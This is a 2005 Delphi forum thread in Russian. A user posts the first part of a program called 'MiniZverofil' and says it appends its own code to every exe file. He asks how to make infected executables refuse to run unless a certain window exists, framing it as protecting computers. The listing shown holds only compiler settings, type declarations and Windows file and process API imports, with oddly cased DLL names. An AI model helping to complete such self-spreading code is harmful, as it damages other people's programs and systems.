Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Проблема при работе с файлами, не получается правильно дописывать [D6, D7, Win95/98, WinXP]


Страницы:   1 2

ArchValentin ©   (2005-03-06 05:37:00) 

Здарова народ, подскажите pls. Вот у мя есть такой код (см. ниже). Так вот он дописывает во все exe'шники свой код. Подскажите pls что нужно написать в процедуре MakeIt чтобы exe'шник при запуске проверял наличие определённого окна, и если не найденно то не запускалась??? Пытался FindWindows, компелируется нормально, а работать не хочет.

ps модераторы, не удаляйте данную ветвь, пишу прогу для защиты компов от юзеров


ArchValentin   (2005-03-06 05:39:00) [21]

Листинг. Часть 1

{$A8,B-,C-,D+,E-,F-,G+,H+,I+,J-,K-,L-,M-,N+,O+,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y-,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
{$WARN SYMBOL_DEPRECATED OFF}
{$WARN SYMBOL_LIBRARY OFF}
{$WARN SYMBOL_PLATFORM OFF}
{$WARN UNIT_LIBRARY OFF}
{$WARN UNIT_PLATFORM OFF}
{$WARN UNIT_DEPRECATED OFF}
{$WARN HRESULT_COMPAT OFF}
{$WARN HIDING_MEMBER OFF}
{$WARN HIDDEN_VIRTUAL OFF}
{$WARN GARBAGE OFF}
{$WARN BOUNDS_ERROR OFF}
{$WARN ZERO_NIL_COMPAT OFF}
{$WARN STRING_CONST_TRUNCED OFF}
{$WARN FOR_LOOP_VAR_VARPAR OFF}
{$WARN TYPED_CONST_VARPAR OFF}
{$WARN ASG_TO_TYPED_CONST OFF}
{$WARN CASE_LABEL_RANGE OFF}
{$WARN FOR_VARIABLE OFF}
{$WARN CONSTRUCTING_ABSTRACT OFF}
{$WARN COMPARISON_FALSE OFF}
{$WARN COMPARISON_TRUE OFF}
{$WARN COMPARING_SIGNED_UNSIGNED OFF}
{$WARN COMBINING_SIGNED_UNSIGNED OFF}
{$WARN UNSUPPORTED_CONSTRUCT OFF}
{$WARN FILE_OPEN OFF}
{$WARN FILE_OPEN_UNITSRC OFF}
{$WARN BAD_GLOBAL_SYMBOL OFF}
{$WARN DUPLICATE_CTOR_DTOR OFF}
{$WARN INVALID_DIRECTIVE OFF}
{$WARN PACKAGE_NO_LINK OFF}
{$WARN PACKAGED_THREADVAR OFF}
{$WARN IMPLICIT_IMPORT OFF}
{$WARN HPPEMIT_IGNORED OFF}
{$WARN NO_RETVAL OFF}
{$WARN USE_BEFORE_DEF OFF}
{$WARN FOR_LOOP_VAR_UNDEF OFF}
{$WARN UNIT_NAME_MISMATCH OFF}
{$WARN NO_CFG_FILE_FOUND OFF}
{$WARN MESSAGE_DIRECTIVE OFF}
{$WARN IMPLICIT_VARIANTS OFF}
{$WARN UNICODE_TO_LOCALE OFF}
{$WARN LOCALE_TO_UNICODE OFF}
{$WARN IMAGEBASE_MULTIPLE OFF}
{$WARN SUSPICIOUS_TYPECAST OFF}
{$WARN PRIVATE_PROPACCESSOR OFF}
{$WARN UNSAFE_TYPE OFF}
{$WARN UNSAFE_CODE OFF}
{$WARN UNSAFE_CAST OFF}
program MiniZverofil;

const
kernel32='kErNeL32.DlL';
oleaut32='OlEaUt32.dLl';

type
 _FILETIME = record
   dwLowDateTime: Cardinal;
   dwHighDateTime: Cardinal;
 end;

 _WIN32_FIND_DATAA = record
   dwFileAttributes: Cardinal;
   ftCreationTime: _FileTime;
   ftLastAccessTime: _FileTime;
   ftLastWriteTime: _FileTime;
   nFileSizeHigh: Cardinal;
   nFileSizeLow: Cardinal;
   dwReserved0: Cardinal;
   dwReserved1: Cardinal;
   cFileName: array[0..259] of AnsiChar;
   cAlternateFileName: array[0..13] of AnsiChar;
 end;

 _STARTUPINFOA = record
   cb: Cardinal;
   lpReserved: Pointer;
   lpDesktop: Pointer;
   lpTitle: Pointer;
   dwX: Cardinal;
   dwY: Cardinal;
   dwXSize: Cardinal;
   dwYSize: Cardinal;
   dwXCountChars: Cardinal;
   dwYCountChars: Cardinal;
   dwFillAttribute: Cardinal;
   dwFlags: Cardinal;
   wShowWindow: Word;
   cbReserved2: Word;
   lpReserved2: PByte;
   hStdInput: Cardinal;
   hStdOutput: Cardinal;
   hStdError: Cardinal;
 end;

 _PROCESS_INFORMATION = record
   hProcess: Cardinal;
   hThread: Cardinal;
   dwProcessId: Cardinal;
   dwThreadId: Cardinal;
 end;

function SysAllocStringByteLen(psz: PChar; len: Integer): pointer;
stdcall;external oleaut32 name 'SysAllocStringByteLen';

function SysFreeString(psz: pointer): Cardinal;
stdcall;external oleaut32 name 'SysFreeString';

function CreateFile(lpFileName: PChar; dwDesiredAccess, dwShareMode: Cardinal;
lpSecurityAttributes: Pointer; dwCreationDisposition, dwFlagsAndAttributes: Cardinal;
hTemplateFile: Cardinal): Cardinal; stdcall;external kernel32 name 'CreateFileA';

function GetFileSize(hFile: Cardinal; lpFileSizeHigh: Pointer): Cardinal; stdcall;
external kernel32 name 'GetFileSize';

function CloseHandle(hObject: Cardinal): BOOLean; stdcall;
external kernel32 name 'CloseHandle';

function ReadFile(hFile: Cardinal; var Buffer; nNumberOfBytesToRead: Cardinal;
var lpNumberOfBytesRead: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name 'ReadFile';

function FindFirstFile(lpFileName: PAnsiChar; var lpFindFileData: _WIN32_Find_DataA): Cardinal; stdcall;
external kernel32 name 'FindFirstFileA';

function WriteFile(hFile: Cardinal; const Buffer; nNumberOfBytesToWrite: Cardinal;
var lpNumberOfBytesWritten: Cardinal; lpOverlapped: Pointer): BOOLean; stdcall;
external kernel32 name 'WriteFile';

function FindNextFile(hFindFile: Cardinal; var lpFindFileData: _WIN32_Find_Dataa): BOOLean; stdcall;
external kernel32 name 'FindNextFileA';

procedure GetStartupInfo(var lpStartupInfo: _StartupInfoA); stdcall;
external kernel32 name 'GetStartupInfoA';

function CreateProcess(lpApplicationName: PChar; lpCommandLine: PChar;
 lpProcessAttributes, lpThreadAttributes: Pointer;
 bInheritHandles: BOOLean; dwCreationFlags: Cardinal; lpEnvironment: Pointer;
 lpCurrentDirectory: PChar; const lpStartupInfo: _StartupInfoA;
 var lpProcessInformation: _Process_Information): BOOLean; stdcall;
external kernel32 name 'CreateProcessA';


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо